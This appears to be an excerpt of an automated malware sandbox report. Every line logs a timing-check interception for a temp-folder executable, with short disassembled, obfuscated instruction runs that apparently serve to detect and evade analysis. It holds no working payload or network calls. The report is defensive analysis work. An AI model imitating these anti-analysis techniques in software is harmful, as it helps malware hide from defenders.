Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 248271 second address: 248275 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 2486CB second address: 2486D0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 24897B second address: 248989 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push esi 0x00000006 js 00007FE5D4EEBCB6h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 248AF4 second address: 248AF8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 248CD2 second address: 248CDD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FE5D4EEBCB6h 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 24BCDD second address: 24BD06 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE5D53969ECh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jl 00007FE5D53969EEh 0x00000010 push ebx 0x00000011 jp 00007FE5D53969E6h 0x00000017 pop ebx 0x00000018 mov eax, dword ptr [esp+04h] 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f pushad 0x00000020 popad 0x00000021 pop eax 0x00000022 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 24BD06 second address: 24BD30 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FE5D4EEBCC1h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [eax] 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FE5D4EEBCBFh 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 24BD30 second address: 24BD3A instructions: 0x00000000 rdtsc 0x00000002 jne 00007FE5D53969E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 24BD3A second address: 24BD40 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 24BD40 second address: 24BD44 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 24BD44 second address: 24BD48 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 24BD48 second address: 24BD5A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp+04h], eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push edx 0x0000000f push edi 0x00000010 pop edi 0x00000011 pop edx 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 24BD5A second address: 24BD7E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 jne 00007FE5D4EEBCB6h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pop eax 0x0000000f mov edi, dword ptr [ebp+122D37A6h] 0x00000015 push 8EE24224h 0x0000001a push eax 0x0000001b push edx 0x0000001c jo 00007FE5D4EEBCB8h 0x00000022 pushad 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 24C87D second address: 24C89F instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edi 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FE5D53969F7h 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 24C923 second address: 24C929 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 24C929 second address: 24C932 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 24C932 second address: 24C936 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 24CB77 second address: 24CB83 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 push ecx 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 24CDA0 second address: 24CDAA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007FE5D4EEBCB6h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 24CDAA second address: 24CDAE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 24CE8D second address: 24CEE6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jl 00007FE5D4EEBCB6h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f jp 00007FE5D4EEBCCAh 0x00000015 pushad 0x00000016 jo 00007FE5D4EEBCB6h 0x0000001c jmp 00007FE5D4EEBCBCh 0x00000021 popad 0x00000022 nop 0x00000023 push 00000000h 0x00000025 push edi 0x00000026 call 00007FE5D4EEBCB8h 0x0000002b pop edi 0x0000002c mov dword ptr [esp+04h], edi 0x00000030 add dword ptr [esp+04h], 0000001Ah 0x00000038 inc edi 0x00000039 push edi 0x0000003a ret 0x0000003b pop edi 0x0000003c ret 0x0000003d xor dword ptr [ebp+122D1DDDh], ecx 0x00000043 push eax 0x00000044 push eax 0x00000045 push edx 0x00000046 push edx 0x00000047 pushad 0x00000048 popad 0x00000049 pop edx 0x0000004a rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 24DF0C second address: 24DF16 instructions: 0x00000000 rdtsc 0x00000002 js 00007FE5D53969ECh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 24EEAC second address: 24EF1E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 js 00007FE5D4EEBCB8h 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f nop 0x00000010 pushad 0x00000011 mov eax, dword ptr [ebp+122D3772h] 0x00000017 pushad 0x00000018 xor di, 1240h 0x0000001d mov edx, dword ptr [ebp+122D37E2h] 0x00000023 popad 0x00000024 popad 0x00000025 push 00000000h 0x00000027 push 00000000h 0x00000029 push ebx 0x0000002a call 00007FE5D4EEBCB8h 0x0000002f pop ebx 0x00000030 mov dword ptr [esp+04h], ebx 0x00000034 add dword ptr [esp+04h], 00000016h 0x0000003c inc ebx 0x0000003d push ebx 0x0000003e ret 0x0000003f pop ebx 0x00000040 ret 0x00000041 jmp 00007FE5D4EEBCBDh 0x00000046 pushad 0x00000047 adc ax, 2DDFh 0x0000004c adc ebx, 482CEA00h 0x00000052 popad 0x00000053 push 00000000h 0x00000055 xor dword ptr [ebp+122D33DAh], edx 0x0000005b xchg eax, ebx 0x0000005c push edi 0x0000005d pushad 0x0000005e jbe 00007FE5D4EEBCB6h 0x00000064 push eax 0x00000065 push edx 0x00000066 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 24E6F0 second address: 24E6F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 24E6F4 second address: 24E6F8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 2516FC second address: 251702 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 25146F second address: 251473 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 251EF7 second address: 251F01 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007FE5D53969E6h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 254D55 second address: 254D59 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 251473 second address: 25148D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnc 00007FE5D53969ECh 0x0000000c popad 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push edi 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 pop edi 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 255E48 second address: 255EA4 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b push 00000000h 0x0000000d push ebp 0x0000000e call 00007FE5D4EEBCB8h 0x00000013 pop ebp 0x00000014 mov dword ptr [esp+04h], ebp 0x00000018 add dword ptr [esp+04h], 00000017h 0x00000020 inc ebp 0x00000021 push ebp 0x00000022 ret 0x00000023 pop ebp 0x00000024 ret 0x00000025 push 00000000h 0x00000027 jmp 00007FE5D4EEBCBAh 0x0000002c push 00000000h 0x0000002e push 00000000h 0x00000030 push edi 0x00000031 call 00007FE5D4EEBCB8h 0x00000036 pop edi 0x00000037 mov dword ptr [esp+04h], edi 0x0000003b add dword ptr [esp+04h], 00000014h 0x00000043 inc edi 0x00000044 push edi 0x00000045 ret 0x00000046 pop edi 0x00000047 ret 0x00000048 mov bx, dx 0x0000004b push eax 0x0000004c push ebx 0x0000004d push esi 0x0000004e push eax 0x0000004f push edx 0x00000050 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 256ED4 second address: 256EF2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FE5D53969F9h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 257F78 second address: 257F7C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 257F7C second address: 257F82 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 258FC0 second address: 258FD6 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FE5D4EEBCB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop esi 0x0000000b push eax 0x0000000c pushad 0x0000000d push eax 0x0000000e pushad 0x0000000f popad 0x00000010 pop eax 0x00000011 pushad 0x00000012 push edx 0x00000013 pop edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 25A065 second address: 25A069 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 2560DA second address: 2560DF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 25B0A0 second address: 25B0A4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 2571B6 second address: 2571C0 instructions: 0x00000000 rdtsc 0x00000002 je 00007FE5D4EEBCBCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 25A1EF second address: 25A1FA instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 25A28E second address: 25A293 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 25B25E second address: 25B262 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 25B262 second address: 25B268 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 25B268 second address: 25B26C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 25B32D second address: 25B331 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 25F096 second address: 25F09C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 25F09C second address: 25F0A0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 2610E4 second address: 261104 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE5D53969EEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FE5D53969EBh 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 261104 second address: 26110B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 262111 second address: 26215A instructions: 0x00000000 rdtsc 0x00000002 je 00007FE5D53969E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop esi 0x0000000b push eax 0x0000000c jno 00007FE5D53969FEh 0x00000012 nop 0x00000013 mov ebx, dword ptr [ebp+122D35E2h] 0x00000019 push 00000000h 0x0000001b xor dword ptr [ebp+124517A1h], ecx 0x00000021 push 00000000h 0x00000023 mov dword ptr [ebp+122D1D21h], edi 0x00000029 push eax 0x0000002a push eax 0x0000002b push edx 0x0000002c pushad 0x0000002d push ebx 0x0000002e pop ebx 0x0000002f push eax 0x00000030 push edx 0x00000031 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 26215A second address: 26215F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 263175 second address: 26317B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 26129F second address: 2612A9 instructions: 0x00000000 rdtsc 0x00000002 je 00007FE5D4EEBCB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 25F321 second address: 25F325 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 2612A9 second address: 2612D8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE5D4EEBCC4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b jl 00007FE5D4EEBCB8h 0x00000011 pushad 0x00000012 popad 0x00000013 pushad 0x00000014 jmp 00007FE5D4EEBCBAh 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 25F325 second address: 25F32A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 25D1AC second address: 25D226 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop ebx 0x00000008 mov dword ptr [esp], eax 0x0000000b or di, D70Fh 0x00000010 push dword ptr fs:[00000000h] 0x00000017 mov di, B79Ah 0x0000001b mov dword ptr fs:[00000000h], esp 0x00000022 push 00000000h 0x00000024 push ebx 0x00000025 call 00007FE5D4EEBCB8h 0x0000002a pop ebx 0x0000002b mov dword ptr [esp+04h], ebx 0x0000002f add dword ptr [esp+04h], 00000014h 0x00000037 inc ebx 0x00000038 push ebx 0x00000039 ret 0x0000003a pop ebx 0x0000003b ret 0x0000003c cld 0x0000003d mov dword ptr [ebp+122D32DDh], edx 0x00000043 mov eax, dword ptr [ebp+122D088Dh] 0x00000049 push 00000000h 0x0000004b push ecx 0x0000004c call 00007FE5D4EEBCB8h 0x00000051 pop ecx 0x00000052 mov dword ptr [esp+04h], ecx 0x00000056 add dword ptr [esp+04h], 00000014h 0x0000005e inc ecx 0x0000005f push ecx 0x00000060 ret 0x00000061 pop ecx 0x00000062 ret 0x00000063 push FFFFFFFFh 0x00000065 mov ebx, ecx 0x00000067 push eax 0x00000068 push eax 0x00000069 push edx 0x0000006a js 00007FE5D4EEBCBCh 0x00000070 jl 00007FE5D4EEBCB6h 0x00000076 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 2622A7 second address: 2622B8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 push esi 0x00000009 push eax 0x0000000a push edx 0x0000000b jc 00007FE5D53969E6h 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 2622B8 second address: 2622BC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 262366 second address: 26236A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 263306 second address: 26330C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 26330C second address: 2633B8 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FE5D53969E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f push 00000000h 0x00000011 push ebx 0x00000012 call 00007FE5D53969E8h 0x00000017 pop ebx 0x00000018 mov dword ptr [esp+04h], ebx 0x0000001c add dword ptr [esp+04h], 0000001Bh 0x00000024 inc ebx 0x00000025 push ebx 0x00000026 ret 0x00000027 pop ebx 0x00000028 ret 0x00000029 jp 00007FE5D53969E8h 0x0000002f mov ebx, 3B39163Fh 0x00000034 push dword ptr fs:[00000000h] 0x0000003b push edi 0x0000003c jmp 00007FE5D53969EFh 0x00000041 pop edi 0x00000042 mov dword ptr fs:[00000000h], esp 0x00000049 or di, 1810h 0x0000004e mov eax, dword ptr [ebp+122D00ADh] 0x00000054 push eax 0x00000055 pop ebx 0x00000056 push FFFFFFFFh 0x00000058 push 00000000h 0x0000005a push edi 0x0000005b call 00007FE5D53969E8h 0x00000060 pop edi 0x00000061 mov dword ptr [esp+04h], edi 0x00000065 add dword ptr [esp+04h], 0000001Bh 0x0000006d inc edi 0x0000006e push edi 0x0000006f ret 0x00000070 pop edi 0x00000071 ret 0x00000072 xor edi, dword ptr [ebp+122D3712h] 0x00000078 jmp 00007FE5D53969EBh 0x0000007d push eax 0x0000007e push eax 0x0000007f push edx 0x00000080 js 00007FE5D53969E8h 0x00000086 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 2633B8 second address: 2633BE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 26B169 second address: 26B16E instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 26F3B1 second address: 26F3B5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 26F434 second address: 26F43B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 275798 second address: 2757BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 ja 00007FE5D4EEBCB6h 0x0000000c jmp 00007FE5D4EEBCC8h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 2757BE second address: 2757C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 2757C3 second address: 2757CD instructions: 0x00000000 rdtsc 0x00000002 js 00007FE5D4EEBCBCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 275BF2 second address: 275C37 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edi 0x00000004 pop edi 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edi 0x00000008 pop edi 0x00000009 jmp 00007FE5D53969F8h 0x0000000e pop eax 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 ja 00007FE5D53969E6h 0x0000001b jmp 00007FE5D53969F7h 0x00000020 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 275C37 second address: 275C4F instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push edx 0x0000000a pop edx 0x0000000b jg 00007FE5D4EEBCB6h 0x00000011 jnp 00007FE5D4EEBCB6h 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 275D8B second address: 275D91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 275D91 second address: 275DBA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE5D4EEBCC0h 0x00000009 push edx 0x0000000a push esi 0x0000000b jmp 00007FE5D4EEBCBFh 0x00000010 pop esi 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 275DBA second address: 275DC8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FE5D53969E6h 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 275F2C second address: 275F31 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 27BF87 second address: 27BFA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE5D53969EFh 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jng 00007FE5D53969ECh 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 27BFA5 second address: 27BFA9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 208E43 second address: 208E49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
